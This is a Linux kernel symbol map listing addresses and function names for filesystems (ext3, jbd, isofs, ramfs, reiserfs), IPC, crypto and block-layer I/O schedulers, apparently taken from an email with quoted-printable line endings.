101e2418 t errcatch_create_vi=0A=
101e2440 t errcatch_check_left=0A=
101e2468 t errcatch_check_right=0A=
101e2490 t errcatch_part_size=0A=
101e24b8 t errcatch_unit_num=0A=
101e24e0 t errcatch_print_vi=0A=
101e2504 t reiserfs_unpack=0A=
101e2674 T reiserfs_ioctl=0A=
101e2974 T reiserfs_proc_info_init=0A=
101e297c T reiserfs_proc_info_done=0A=
101e2984 T reiserfs_proc_register_global=0A=
101e298c T reiserfs_proc_unregister_global=0A=
101e2990 T reiserfs_proc_info_global_init=0A=
101e2998 T reiserfs_proc_info_global_done=0A=
101e29a0 T reiserfs_global_version_in_proc=0A=
101e29a8 T ext3_get_group_desc=0A=
101e2a54 t read_block_bitmap=0A=
101e2af4 t goal_in_my_reservation=0A=
101e2b80 T ext3_rsv_window_add=0A=
101e2c24 t rsv_window_remove=0A=
101e2c58 T ext3_init_block_alloc_info=0A=
101e2cd0 T ext3_discard_reservation=0A=
101e2d0c T ext3_free_blocks_sb=0A=
101e321c T ext3_free_blocks=0A=
101e32b8 t ext3_test_allocatable=0A=
101e330c t bitmap_search_next_usable_block=0A=
101e35d0 t ext3_try_to_allocate=0A=
101e3a0c t ext3_try_to_allocate_with_rsv=0A=
101e3e88 t ext3_has_free_blocks=0A=
101e3f20 T ext3_should_retry_alloc=0A=
101e3f88 T ext3_new_block=0A=
101e44e8 T ext3_count_free_blocks=0A=
101e4580 t ext3_group_sparse=0A=
101e4600 T ext3_bg_has_super=0A=
101e4648 T ext3_bg_num_gdb=0A=
101e4694 t get_dtype=0A=
101e46c0 T ext3_check_dir_entry=0A=
101e47d4 t free_rb_tree_fname=0A=
101e4884 T ext3_htree_free_dir_info=0A=
101e48a8 T ext3_htree_store_dirent=0A=
101e4a4c t call_filldir=0A=
101e4b60 t ext3_readdir=0A=
101e5284 t ext3_release_dir=0A=
101e52ac t ext3_release_file=0A=
101e5390 t ext3_file_write=0A=
101e547c T ext3_sync_file=0A=
101e559c t read_inode_bitmap=0A=
101e563c T ext3_free_inode=0A=
101e59e8 T ext3_new_inode=0A=
101e6500 T ext3_orphan_get=0A=
101e675c T ext3_count_free_inodes=0A=
101e67f4 T ext3_count_dirs=0A=
101e6888 T ext3_forget=0A=
101e69a8 t blocks_for_truncate=0A=
101e69d8 t start_transaction=0A=
101e6a34 t try_to_extend_transaction=0A=
101e6a84 t ext3_journal_test_restart=0A=
101e6ab0 t ext3_alloc_block=0A=
101e6ac8 t ext3_block_to_path=0A=
101e6c20 t ext3_get_branch=0A=
101e6d74 t walk_page_buffers=0A=
101e6e6c t do_journal_get_write_access=0A=
101e6ef4 t ext3_writepage_trans_blocks=0A=
101e6f8c t ext3_prepare_write=0A=
101e716c T ext3_journal_dirty_data=0A=
101e71d8 t commit_write_fn=0A=
101e7274 t ext3_ordered_commit_write=0A=
101e73ac t ext3_writeback_commit_write=0A=
101e74c4 t ext3_bmap=0A=
101e7570 t bget_one=0A=
101e7590 t bput_one=0A=
101e75b0 t journal_dirty_data_fn=0A=
101e75e0 t ext3_ordered_writepage=0A=
101e77d0 t ext3_writeback_writepage=0A=
101e78c8 t ext3_journalled_writepage=0A=
101e7ab4 t ext3_readpage=0A=
101e7ad8 t ext3_readpages=0A=
101e7b04 t ext3_invalidatepage=0A=
101e7b50 t ext3_releasepage=0A=
101e7bf4 t ext3_journalled_set_page_dirty=0A=
101e7c20 T ext3_set_aops=0A=
101e7ccc t __ext3_get_inode_loc=0A=
101e80b8 T ext3_get_inode_loc=0A=
101e80e0 T ext3_set_inode_flags=0A=
101e8144 T ext3_read_inode=0A=
101e85c8 T ext3_write_inode=0A=
101e8624 T ext3_mark_iloc_dirty=0A=
101e8b90 T ext3_reserve_inode_write=0A=
101e8c64 T ext3_mark_inode_dirty=0A=
101e8cc0 T ext3_setattr=0A=
101e8eb0 t ext3_get_block_handle=0A=
101e97b8 t ext3_get_block=0A=
101e9864 t ext3_direct_io_get_blocks=0A=
101e9980 T ext3_getblk=0A=
101e9c64 T ext3_bread=0A=
101e9d18 t ext3_clear_blocks=0A=
101e9e7c t ext3_free_data=0A=
101ea008 t ext3_free_branches=0A=
101ea254 T ext3_truncate=0A=
101eab88 t ext3_direct_IO=0A=
101eadc0 t ext3_journalled_commit_write=0A=
101eafe8 T ext3_delete_inode=0A=
101eb154 T ext3_dirty_inode=0A=
101eb210 T ext3_change_inode_journal_flag=0A=
101eb31c T ext3_ioctl=0A=
101eb99c t ext3_append=0A=
101eba88 t dx_probe=0A=
101ebe0c t dx_release=0A=
101ebe5c t ext3_htree_next_block=0A=
101ebfac t htree_dirblock_to_tree=0A=
101ec114 T ext3_htree_fill_tree=0A=
101ec380 t dx_insert_block=0A=
101ec4d0 t ext3_update_dx_flag=0A=
101ec4f8 t ext3_find_entry=0A=
101eca9c t ext3_lookup=0A=
101ecb74 T ext3_get_parent=0A=
101ecc58 t do_split=0A=
101ed208 t add_dirent_to_buf=0A=
101ed580 t ext3_add_entry=0A=
101edeb8 t ext3_delete_entry=0A=
101ee078 t ext3_add_nondir=0A=
101ee0fc t ext3_create=0A=
101ee270 t ext3_mknod=0A=
101ee3e4 t ext3_mkdir=0A=
101ee7a4 t empty_dir=0A=
101eeaa0 T ext3_orphan_add=0A=
101eed4c T ext3_orphan_del=0A=
101eefa4 t ext3_rmdir=0A=
101ef19c t ext3_unlink=0A=
101ef360 t ext3_symlink=0A=
101ef5a4 t ext3_link=0A=
101ef708 t ext3_rename=0A=
101efccc T ext3_abort=0A=
101efdc8 T ext3_journal_start_sb=0A=
101efe1c t ext3_decode_error=0A=
101efef0 T ext3_journal_abort_handle=0A=
101effac T ext3_warning=0A=
101f0008 T ext3_update_dynamic_rev=0A=
101f0074 t ext3_blkdev_put=0A=
101f0098 t ext3_blkdev_remove=0A=
101f00c8 t ext3_alloc_inode=0A=
101f0108 t ext3_destroy_inode=0A=
101f012c t ext3_clear_inode=0A=
101f0160 t ext3_show_options=0A=
101f01d0 t parse_options=0A=
101f06a0 t ext3_init_journal_params=0A=
101f06d8 t ext3_get_journal=0A=
101f07f4 t ext3_commit_super=0A=
101f08a8 t ext3_put_super=0A=
101f0acc t ext3_setup_super=0A=
101f0d10 t ext3_handle_error=0A=
101f0dd8 T __ext3_std_error=0A=
101f0e70 T __ext3_journal_stop=0A=
101f0ed0 T ext3_error=0A=
101f0f38 t ext3_mark_recovery_complete=0A=
101f0fd8 t ext3_clear_journal_err=0A=
101f10b8 t ext3_fill_super=0A=
101f25e4 T ext3_force_commit=0A=
101f2624 t ext3_write_super=0A=
101f267c t ext3_sync_fs=0A=
101f26f0 t ext3_write_super_lockfs=0A=
101f276c t ext3_unlockfs=0A=
101f282c t ext3_remount=0A=
101f2ae0 t ext3_statfs=0A=
101f2c78 t ext3_get_sb=0A=
101f2c9c t ext3_follow_link=0A=
101f2cb8 t str2hashbuf=0A=
101f2d58 T ext3fs_dirhash=0A=
101f3018 t bclean=0A=
101f310c t mark_bitmap_end=0A=
101f3190 t ext3_list_backups=0A=
101f3200 t verify_reserved_gdb=0A=
101f3334 t reserve_backup_gdb=0A=
101f366c t update_backups=0A=
101f3974 T ext3_group_add=0A=
101f4c8c T ext3_group_extend=0A=
101f5204 t start_this_handle=0A=
101f5690 T journal_start=0A=
101f57e4 T journal_extend=0A=
101f588c T journal_restart=0A=
101f59ec T journal_lock_updates=0A=
101f5afc T journal_unlock_updates=0A=
101f5bec T journal_release_buffer=0A=
101f5bf0 T journal_stop=0A=
101f5e44 T journal_force_commit=0A=
101f5e9c T __journal_temp_unlink_buffer=0A=
101f6054 T __journal_file_buffer=0A=
101f6310 T journal_dirty_metadata=0A=
101f6510 t do_get_write_access=0A=
101f6a44 T journal_get_undo_access=0A=
101f6b1c T journal_get_write_access=0A=
101f6b68 T journal_get_create_access=0A=
101f6d10 T __journal_unfile_buffer=0A=
101f6d30 T journal_forget=0A=
101f6f7c T journal_dirty_data=0A=
101f7180 T journal_unfile_buffer=0A=
101f719c T journal_try_to_free_buffers=0A=
101f7348 t __dispose_buffer=0A=
101f73e4 T journal_invalidatepage=0A=
101f77ec T journal_file_buffer=0A=
101f7804 T __journal_refile_buffer=0A=
101f7910 T journal_refile_buffer=0A=
101f7940 t journal_end_buffer_io_sync=0A=
101f7990 t inverted_lock=0A=
101f79a0 T journal_commit_transaction=0A=
101f8b94 T journal_brelse_array=0A=
101f8bd4 t jread=0A=
101f8e08 t do_one_pass=0A=
101f92d8 T journal_skip_recovery=0A=
101f9374 T journal_recover=0A=
101f9440 t __buffer_unlink_first=0A=
101f9478 t jbd_sync_bh=0A=
101f94ac t __flush_batch=0A=
101f9524 T cleanup_journal_tail=0A=
101f9624 T __journal_drop_transaction=0A=
101f998c T __journal_remove_checkpoint=0A=
101f9a3c t journal_clean_one_cp_list=0A=
101f9b3c T __journal_clean_checkpoint_list=0A=
101f9bf8 T log_do_checkpoint=0A=
101f9f8c T __log_wait_for_space=0A=
101fa08c T __journal_insert_checkpoint=0A=
101fa188 t insert_revoke_hash=0A=
101fa248 t find_revoke_record=0A=
101fa2ac T journal_destroy_revoke_caches=0A=
101fa2f0 T journal_init_revoke=0A=
101fa5b0 T journal_destroy_revoke=0A=
101fa728 T journal_revoke=0A=
101fa8dc T journal_cancel_revoke=0A=
101faa08 T journal_switch_revoke_table=0A=
101faa6c t flush_descriptor=0A=
101faafc T journal_write_revoke_records=0A=
101facf0 T journal_set_revoke=0A=
101fad60 T journal_test_revoke=0A=
101fad98 T journal_clear_revoke=0A=
101fae6c t commit_timeout=0A=
101fae84 t kjournald=0A=
101fb09c T __jbd_kmalloc=0A=
101fb0c8 T __log_space_left=0A=
101fb0e4 T __log_start_commit=0A=
101fb138 T log_start_commit=0A=
101fb150 T log_wait_commit=0A=
101fb2a4 T journal_force_commit_nested=0A=
101fb320 T journal_start_commit=0A=
101fb3b0 t journal_init_common=0A=
101fb524 T journal_init_dev=0A=
101fb660 t journal_fail_superblock=0A=
101fb690 T journal_update_superblock=0A=
101fb760 t journal_reset=0A=
101fb8a0 t journal_get_superblock=0A=
101fba20 t load_superblock=0A=
101fba74 T journal_load=0A=
101fbb20 T journal_destroy=0A=
101fbda0 T journal_check_used_features=0A=
101fbdf8 T journal_check_available_features=0A=
101fbe34 T journal_set_features=0A=
101fbec8 T journal_update_format=0A=
101fbf80 T journal_flush=0A=
101fc180 T journal_wipe=0A=
101fc268 T __journal_abort_hard=0A=
101fc2e0 t __journal_abort_soft=0A=
101fc340 T journal_bmap=0A=
101fc420 T journal_create=0A=
101fc5d8 T journal_init_inode=0A=
101fc740 T journal_next_log_block=0A=
101fc7e8 T journal_abort=0A=
101fc800 T journal_errno=0A=
101fc814 T journal_clear_err=0A=
101fc830 T journal_ack_err=0A=
101fc848 T journal_blocks_per_page=0A=
101fc860 t journal_free_journal_head=0A=
101fc884 T journal_add_journal_head=0A=
101fca3c T journal_get_descriptor_buffer=0A=
101fcafc T journal_write_metadata_buffer=0A=
101fcdf4 T journal_grab_journal_head=0A=
101fce14 t __journal_remove_journal_head=0A=
101fd018 T journal_remove_journal_head=0A=
101fd030 T journal_put_journal_head=0A=
101fd0e0 t journal_destroy_caches=0A=
101fd18c T ramfs_get_inode=0A=
101fd2e8 t ramfs_mknod=0A=
101fd3d0 t ramfs_mkdir=0A=
101fd408 t ramfs_create=0A=
101fd428 t ramfs_symlink=0A=
101fd548 t ramfs_fill_super=0A=
101fd5f8 T ramfs_get_sb=0A=
101fd61c t rootfs_get_sb=0A=
101fd644 T isofs_lookup=0A=
101fda8c t isofs_put_super=0A=
101fdad4 t isofs_alloc_inode=0A=
101fdb08 t isofs_destroy_inode=0A=
101fdb2c t isofs_remount=0A=
101fdb40 t isofs_hash_common=0A=
101fdbc8 t isofs_hashi_common=0A=
101fdc74 t isofs_dentry_cmpi_common=0A=
101fdd28 t isofs_dentry_cmp_common=0A=
101fdddc t isofs_hash=0A=
101fddf8 t isofs_hashi=0A=
101fde14 t isofs_dentry_cmp=0A=
101fde30 t isofs_dentry_cmpi=0A=
101fde4c t isofs_hash_ms=0A=
101fde68 t isofs_hashi_ms=0A=
101fde84 t isofs_dentry_cmp_ms=0A=
101fdea0 t isofs_dentry_cmpi_ms=0A=
101fdebc t isofs_statfs=0A=
101fdf18 t isofs_readpage=0A=
101fdf3c t _isofs_bmap=0A=
101fdf5c t isofs_read_inode=0A=
101fe740 t isofs_iget5_test=0A=
101fe76c t isofs_iget5_set=0A=
101fe784 T isofs_iget=0A=
101fe828 t isofs_fill_super=0A=
101ff2ac T isofs_get_blocks=0A=
101ff56c t isofs_get_block=0A=
101ff5b8 T isofs_bread=0A=
101ff620 t isofs_get_sb=0A=
101ff644 T isofs_name_translate=0A=
101ff720 T get_acorn_filename=0A=
101ff840 t isofs_readdir=0A=
101ffd40 T iso_date=0A=
101ffeb4 t check_sp=0A=
101ffee8 t setup_rock_ridge=0A=
101fff60 t init_rock_state=0A=
101fff94 t rock_continue=0A=
102000dc t rock_check_overflow=0A=
102001f8 T get_rock_ridge_filename=0A=
10200514 t parse_rock_ridge_inode_internal=0A=
10200d6c T parse_rock_ridge_inode=0A=
10200dd4 t rock_ridge_symlink_readpage=0A=
102012c8 t isofs_export_get_dentry=0A=
10201390 t isofs_export_get_parent=0A=
102014f8 t isofs_export_encode_fh=0A=
10201590 t isofs_export_decode_fh=0A=
10201648 T get_joliet_filename=0A=
10201834 T utf8_mbtowc=0A=
102018c8 T utf8_mbstowcs=0A=
102019a8 T utf8_wctomb=0A=
10201a4c T utf8_wcstombs=0A=
10201b30 T register_nls=0A=
10201b84 T unregister_nls=0A=
10201bbc t find_nls=0A=
10201c78 T load_nls=0A=
10201cdc T unload_nls=0A=
10201d2c t uni2char=0A=
10201d6c t char2uni=0A=
10201d90 T load_nls_default=0A=
10201dc4 T ipc_findkey=0A=
10201e00 T ipc_rcu_putref=0A=
10201e64 T ipc_rmid=0A=
10201f3c T ipc_alloc=0A=
10201f78 T ipc_free=0A=
10201fa4 T ipc_rcu_alloc=0A=
10202014 T ipc_addid=0A=
102021a8 T ipc_rcu_getref=0A=
102021b8 t ipc_schedule_free=0A=
10202204 t ipc_immediate_free=0A=
1020221c T ipcperms=0A=
102022f0 T kernel_to_ipc64_perm=0A=
1020232c T ipc64_perm_to_ipc_perm=0A=
10202368 T ipc_get=0A=
102023a0 T ipc_lock=0A=
102023f0 T ipc_lock_by_ptr=0A=
102023f4 T ipc_unlock=0A=
102023f8 T ipc_buildid=0A=
10202404 T ipc_checkid=0A=
10202438 t sysvipc_proc_next=0A=
102024f4 t sysvipc_proc_start=0A=
10202608 t sysvipc_proc_stop=0A=
10202658 t sysvipc_proc_show=0A=
10202694 t sysvipc_proc_open=0A=
102026e0 T free_msg=0A=
10202724 T load_msg=0A=
10202854 T store_msg=0A=
10202924 t newque=0A=
10202a20 t ss_wakeup=0A=
10202a70 t expunge_all=0A=
10202acc T sys_msgget=0A=
10202c74 T sys_msgctl=0A=
1020324c t testmsg=0A=
102032b4 T sys_msgsnd=0A=
10203674 T sys_msgrcv=0A=
10203a1c t sysvipc_msg_proc_show=0A=
10203aa8 t newary=0A=
10203bd4 T sys_semget=0A=
10203d8c t try_atomic_semop=0A=
10203f28 t update_queue=0A=
10203fec t copy_semid_to_user=0A=
10204068 T sys_semctl=0A=
102049c8 t lookup_undo=0A=
10204a28 T sys_semtimedop=0A=
10205088 T sys_semop=0A=
102050a4 T copy_semundo=0A=
10205160 T exit_sem=0A=
1020532c t sysvipc_sem_proc_show=0A=
10205398 t shm_open=0A=
10205428 t shm_destroy=0A=
10205498 t shm_close=0A=
102055cc t shm_mmap=0A=
102056a4 t newseg=0A=
102058fc T sys_shmget=0A=
10205acc T sys_shmctl=0A=
10206180 T do_shmat=0A=
10206474 T sys_shmat=0A=
10206498 T sys_shmdt=0A=
10206604 t sysvipc_shm_proc_show=0A=
10206690 t mqueue_get_inode=0A=
1020688c t mqueue_fill_super=0A=
10206924 t mqueue_get_sb=0A=
10206948 t init_once=0A=
10206978 t mqueue_alloc_inode=0A=
1020699c t mqueue_destroy_inode=0A=
102069c0 t mqueue_delete_inode=0A=
10206a88 t mqueue_create=0A=
10206be8 t mqueue_unlink=0A=
10206c64 t mqueue_read_file=0A=
10206dfc t mqueue_poll_file=0A=
10206e70 t wq_sleep=0A=
10207034 t wq_get_first_waiter=0A=
10207054 t msg_insert=0A=
102070f0 t remove_notification=0A=
10207148 t mqueue_flush_file=0A=
10207198 t prepare_timeout=0A=
102072d4 t do_open=0A=
10207394 T sys_mq_open=0A=
10207698 T sys_mq_unlink=0A=
102077c8 T sys_mq_timedsend=0A=
10207a5c T sys_mq_timedreceive=0A=
10207c78 T sys_mq_notify=0A=
10207f54 T sys_mq_getsetattr=0A=
102080ac T cap_capget=0A=
102080cc T cap_capset_check=0A=
10208128 T cap_capset_set=0A=
10208144 T cap_bprm_set_security=0A=
102081a0 T cap_bprm_secureexec=0A=
102081ec T cap_task_reparent_to_init=0A=
10208210 T cap_netlink_send=0A=
10208228 T cap_netlink_recv=0A=
1020823c T cap_syslog=0A=
10208288 T cap_bprm_apply_creds=0A=
1020842c T cap_ptrace=0A=
1020847c T cap_settime=0A=
102084a0 T cap_capable=0A=
102084bc T cap_inode_removexattr=0A=
10208508 T cap_inode_setxattr=0A=
10208554 T cap_task_post_setuid=0A=
10208710 T cap_vm_enough_memory=0A=
10208748 t crypto_alg_lookup=0A=
102088ac t crypto_exit_ops=0A=
10208924 T crypto_alloc_tfm=0A=
10208b28 T crypto_free_tfm=0A=
10208bc4 T crypto_register_alg=0A=
10208d14 T crypto_unregister_alg=0A=
10208e14 T crypto_alg_available=0A=
10208eb4 t memcpy_dir=0A=
10208edc T scatterwalk_start=0A=
10208f60 T scatterwalk_map=0A=
10208f90 t scatterwalk_pagedone=0A=
1020901c T scatterwalk_done=0A=
10209054 T scatterwalk_copychunks=0A=
102090f8 t xor_64=0A=
1020911c t xor_128=0A=
10209160 t crypt=0A=
102094d0 t crypt_iv_unaligned=0A=
102095d0 t cbc_process_encrypt=0A=
102096a4 t cbc_process_decrypt=0A=
1020980c t ecb_process=0A=
102098a0 t setkey=0A=
10209900 t setkey=0A=
1020993c t ecb_encrypt=0A=
10209998 t ecb_decrypt=0A=
102099f4 t cbc_encrypt=0A=
10209a64 t cbc_encrypt_iv=0A=
10209ad0 t cbc_decrypt=0A=
10209b40 t cbc_decrypt_iv=0A=
10209bac t nocrypt=0A=
10209bb4 t nocrypt_iv=0A=
10209bbc T crypto_init_cipher_flags=0A=
10209bd4 T crypto_init_cipher_ops=0A=
10209d7c T crypto_exit_cipher_ops=0A=
10209d80 t init=0A=
10209dac t update=0A=
10209ec8 t final=0A=
10209ef4 t digest=0A=
1020a044 T crypto_init_digest_flags=0A=
1020a050 T crypto_init_digest_ops=0A=
1020a0a8 T crypto_exit_digest_ops=0A=
1020a0c0 t crypto_compress=0A=
1020a0f4 t crypto_decompress=0A=
1020a128 T crypto_init_compress_flags=0A=
1020a134 T crypto_init_compress_ops=0A=
1020a188 T crypto_exit_compress_ops=0A=
1020a1b4 t c_start=0A=
1020a240 t c_next=0A=
1020a270 t c_stop=0A=
1020a290 t c_show=0A=
1020a428 t crypto_info_open=0A=
1020a44c t hash_key=0A=
1020a4e4 T crypto_alloc_hmac_block=0A=
1020a554 T crypto_free_hmac_block=0A=
1020a570 T crypto_hmac_init=0A=
1020a6e0 T crypto_hmac_update=0A=
1020a73c T crypto_hmac_final=0A=
1020a960 T crypto_hmac=0A=
1020a9dc t md4_transform=0A=
1020b084 t md4_init=0A=
1020b0c8 t md4_update=0A=
1020b21c t md4_final=0A=
1020b358 t md5_transform=0A=
1020be1c t md5_init=0A=
1020be60 t md5_update=0A=
1020bfb4 t md5_final=0A=
1020c0f0 t chksum_init=0A=
1020c0fc t chksum_setkey=0A=
1020c130 t chksum_update=0A=
1020c154 t chksum_final=0A=
1020c170 T elv_dequeue_request=0A=
1020c1ec T elv_rq_merge_ok=0A=
1020c258 t elevator_find=0A=
1020c2f4 t elevator_put=0A=
1020c344 t elevator_get=0A=
1020c3a8 t elevator_attach=0A=
1020c418 T elevator_init=0A=
1020c560 T elevator_exit=0A=
1020c5a4 T elv_dispatch_sort=0A=
1020c630 T elv_merge=0A=
1020c6f8 T elv_merged_request=0A=
1020c738 T elv_merge_requests=0A=
1020c784 t elv_drain_elevator=0A=
1020c80c T __elv_add_request=0A=
1020cae4 T elv_requeue_request=0A=
1020cb70 T elv_add_request=0A=
1020cb94 T elv_next_request=0A=
1020cd2c T elv_queue_empty=0A=
1020cd74 T elv_latter_request=0A=
1020cda4 T elv_former_request=0A=
1020cdd4 T elv_set_request=0A=
1020ce14 T elv_put_request=0A=
1020ce40 T elv_may_queue=0A=
1020ce70 T elv_completed_request=0A=
1020cf38 T elv_register_queue=0A=
1020cfa0 T elv_unregister_queue=0A=
1020cfd4 T elv_register=0A=
1020d0b8 T elv_unregister=0A=
1020d1b8 T elv_iosched_store=0A=
1020d39c T elv_iosched_show=0A=
1020d4a0 t blk_queue_congestion_threshold=0A=
1020d4d4 t clear_queue_congested=0A=
1020d540 t set_queue_congested=0A=
1020d568 T blk_get_backing_dev_info=0A=
1020d580 T blk_queue_activity_fn=0A=
1020d58c T blk_queue_prep_rq=0A=
1020d594 T blk_queue_merge_bvec=0A=
1020d59c T blk_queue_softirq_done=0A=
1020d5a4 T blk_queue_max_phys_segments=0A=
1020d600 T blk_queue_max_hw_segments=0A=
1020d65c T blk_queue_max_sectors=0A=
1020d6d8 T blk_queue_hardsect_size=0A=
1020d6e0 T blk_queue_dma_alignment=0A=
1020d6e8 T blk_queue_ordered=0A=
1020d7ac T blk_queue_issue_flush_fn=0A=
1020d7b4 T blk_ordered_cur_seq=0A=
1020d80c T blk_ordered_req_seq=0A=
1020d8a4 t queue_flush=0A=
1020d988 t flush_dry_bio_endio=0A=
1020da18 T blk_queue_bounce_limit=0A=
1020dabc T blk_queue_make_request=0A=
1020dbbc T blk_queue_max_segment_size=0A=
1020dc1c T blk_queue_stack_limits=0A=
1020dd60 T blk_queue_segment_boundary=0A=
1020ddc0 T blk_queue_find_tag=0A=
1020dde0 T blk_queue_free_tags=0A=
1020ddf8 t init_tag_map=0A=
1020df04 T blk_queue_resize_tags=0A=
1020dfc0 T blk_queue_init_tags=0A=
1020e15c T blk_queue_end_tag=0A=
1020e294 T blk_queue_start_tag=0A=
1020e458 T blk_queue_invalidate_tags=0A=
1020e550 T blk_dump_rq_flags=0A=
1020e6ac T blk_recount_segments=0A=
1020e918 t blk_phys_contig_segment=0A=
1020e9e0 t blk_hw_contig_segment=0A=
1020eb18 T blk_rq_map_sg=0A=
1020ecc4 t init_request_from_bio=0A=
1020edec t ll_back_merge_fn=0A=
1020f040 t ll_front_merge_fn=0A=
1020f294 t ll_merge_requests_fn=0A=
1020f3bc T blk_plug_device=0A=
1020f460 T blk_remove_plug=0A=
1020f4f4 T __generic_unplug_device=0A=
1020f53c T generic_unplug_device=0A=
1020f560 t blk_backing_dev_unplug=0A=
1020f590 t blk_unplug_work=0A=
1020f5b0 T blk_stop_queue=0A=
1020f5e0 T blk_run_queue=0A=
1020f640 T blk_alloc_queue_node=0A=
1020f6b0 T blk_alloc_queue=0A=
1020f6cc T blk_get_queue=0A=
1020f6f8 t ioc_set_batching=0A=
1020f740 t __freed_request=0A=
1020f7ec t freed_request=0A=
1020f874 T current_io_context=0A=
1020f8fc t get_request=0A=
1020fc34 t get_request_wait=0A=
1020fd8c T blk_get_request=0A=
1020fe08 T blk_requeue_request=0A=
1020fe60 T blk_rq_bio_prep=0A=
1020ff38 T blk_rq_map_user=0A=
10210044 T blk_rq_map_user_iov=0A=
102100ec T blk_rq_unmap_user=0A=
10210130 T blk_rq_map_kern=0A=
102101e4 T blk_execute_rq_nowait=0A=
10210238 T blk_execute_rq=0A=
10210328 T blkdev_issue_flush=0A=
10210374 T disk_round_stats=0A=
102103c0 t drive_stat_acct=0A=
10210428 T blk_insert_request=0A=
10210500 T __blk_put_request=0A=
10210628 T blk_put_request=0A=
1021065c T blk_end_sync_rq=0A=
10210690 T blk_congestion_wait=0A=
10210750 t attempt_merge=0A=
102108f8 t __make_request=0A=
10210d10 T generic_make_request=0A=
10210ef4 T submit_bio=0A=
10211014 t __end_that_request_first=0A=
10211534 T end_that_request_first=0A=
10211550 T end_that_request_chunk=0A=
10211568 t blk_done_softirq=0A=
10211608 T blk_complete_request=0A=
10211688 T end_that_request_last=0A=
10211774 T blk_do_ordered=0A=
10211a5c T blk_ordered_complete_seq=0A=
10211b70 t post_flush_end_io=0A=
10211bb0 t pre_flush_end_io=0A=
10211bf0 t bar_end_io=0A=
10211c30 T end_request=0A=
10211c90 T kblockd_schedule_work=0A=
10211cb4 T blk_start_queue=0A=
10211d3c t blk_unplug_timeout=0A=
10211d58 T kblockd_flush=0A=
10211d78 T blk_sync_queue=0A=
10211d98 T blk_cleanup_queue=0A=
10211ebc T blk_init_queue_node=0A=
10212060 T blk_init_queue=0A=
1021207c T put_io_context=0A=
10212148 T exit_io_context=0A=
102121d0 T get_io_context=0A=
10212208 T copy_io_context=0A=
10212290 T swap_io_context=0A=
102122a4 t queue_var_show=0A=
102122cc t queue_var_store=0A=
10212314 t queue_requests_show=0A=
10212330 t queue_requests_store=0A=
102124cc t queue_ra_show=0A=
102124ec t queue_ra_store=0A=
1021253c t queue_max_sectors_show=0A=
1021255c t queue_max_sectors_store=0A=
102125d8 t queue_max_hw_sectors_show=0A=
102125f8 t queue_attr_show=0A=
1021262c t queue_attr_store=0A=
10212664 T blk_register_queue=0A=
1021272c T blk_unregister_queue=0A=
10212784 t put_int=0A=
102127b8 t blkdev_driver_ioctl=0A=
10212820 T blkdev_ioctl=0A=
102130d0 T compat_blkdev_ioctl=0A=
1021310c T get_next_blkdev=0A=
102131c8 T acquire_blkdev_list=0A=
10213220 T release_blkdev_list=0A=
10213288 T count_blkdev_list=0A=
102132c0 T get_blkdev_info=0A=
102132e8 T register_blkdev=0A=
102134ac T unregister_blkdev=0A=
10213608 T blk_register_region=0A=
1021364c T blk_unregister_region=0A=
10213674 t exact_match=0A=
1021367c T get_disk=0A=
1021371c t exact_lock=0A=
10213740 T add_disk=0A=
102137a8 T unlink_gendisk=0A=
102137dc T get_gendisk=0A=
10213814 t part_start=0A=
102138c0 t part_next=0A=
102138f4 t part_stop=0A=
10213940 t show_partition=0A=
10213ab8 t base_probe=0A=
10213afc t disk_attr_show=0A=
10213b30 t disk_attr_store=0A=
10213b68 t disk_uevent_store=0A=
10213b90 t disk_dev_read=0A=
10213bd0 t disk_range_read=0A=
10213bf8 t disk_removable_read=0A=
10213c24 t disk_size_read=0A=
10213c54 t disk_stats_read=0A=
10213cec t disk_release=0A=
10213d1c t block_uevent_filter=0A=
10213d60 t block_uevent=0A=
10213f9c t diskstats_start=0A=
10214048 t diskstats_next=0A=
1021407c t diskstats_stop=0A=
102140c8 t diskstats_show=0A=
10214258 T alloc_disk_node=0A=
10214324 T alloc_disk=0A=
10214340 T put_disk=0A=
10214368 T set_device_ro=0A=
10214388 T set_disk_ro=0A=
102143c4 T bdev_read_only=0A=
102143ec T invalidate_partition=0A=
1021444c t verify_command=0A=
10214518 t sg_io=0A=
1021488c t __blk_send_generic=0A=
10214944 T scsi_cmd_ioctl=0A=
10215030 t noop_merged_requests=0A=
1021504c t noop_dispatch=0A=
10215098 t noop_add_request=0A=
102150b8 t noop_queue_empty=0A=
102150d0 t noop_former_request=0A=
102150ec t noop_latter_request=0A=
10215108 t noop_init_queue=0A=
1021514c t noop_exit_queue=0A=
1021519c t free_as_io_context=0A=
102151b4 t exit_as_io_context=0A=
10215218 t as_get_io_context=0A=
102152e4 t as_put_io_context=0A=
10215360 t as_add_arq_hash=0A=
10215410 t as_choose_req=0A=
10215544 t as_find_next_arq=0A=
1021561c t as_antic_waitnext=0A=
10215688 t as_antic_stop=0A=
102156d8 t as_antic_timeout=0A=
10215790 t as_update_iohist=0A=
10215a44 t as_can_break_anticipation=0A=
10215cc4 t as_completed_request=0A=
10215f18 t as_remove_queued_request=0A=
102160b8 t as_fifo_expired=0A=
10216118 t as_move_to_dispatch=0A=
10216298 t as_add_arq_rb=0A=
10216350 t as_dispatch_request=0A=
10216750 t as_add_request=0A=
102168d0 t as_activate_request=0A=
10216958 t as_deactivate_request=0A=
102169e0 t as_queue_empty=0A=
10216a10 t as_former_request=0A=
10216a3c t as_latter_request=0A=
10216a68 t as_merge=0A=
10216d18 t as_merged_request=0A=
10216e1c t as_merged_requests=0A=
10216fd4 t as_work_handler=0A=
1021702c t as_put_request=0A=
10217110 t as_set_request=0A=
1021719c t as_may_queue=0A=
10217204 t as_exit_queue=0A=
10217294 t as_init_queue=0A=
1021745c t as_var_show=0A=
10217484 t as_var_store=0A=
102174cc t as_est_show=0A=
10217574 t as_readexpire_show=0A=
10217590 t as_writeexpire_show=0A=
102175ac t as_anticexpire_show=0A=
102175c8 t as_read_batchexpire_show=0A=
102175e4 t as_write_batchexpire_show=0A=
10217600 t as_readexpire_store=0A=
1021763c t as_writeexpire_store=0A=
10217678 t as_anticexpire_store=0A=
102176b4 t as_read_batchexpire_store=0A=
102176f0 t as_write_batchexpire_store=0A=
1021772c t as_attr_show=0A=
10217764 t as_attr_store=0A=
102177a0 t deadline_remove_request=0A=
10217898 t deadline_merge=0A=
10217b08 t deadline_move_request=0A=
10217c0c t deadline_add_drq_rb=0A=
10217cbc t deadline_add_request=0A=
10217dfc t deadline_merged_requests=0A=
10218018 t deadline_merged_request=0A=
1021818c t deadline_dispatch_requests=0A=
1021832c t deadline_queue_empty=0A=
1021835c t deadline_former_request=0A=
10218388 t deadline_latter_request=0A=
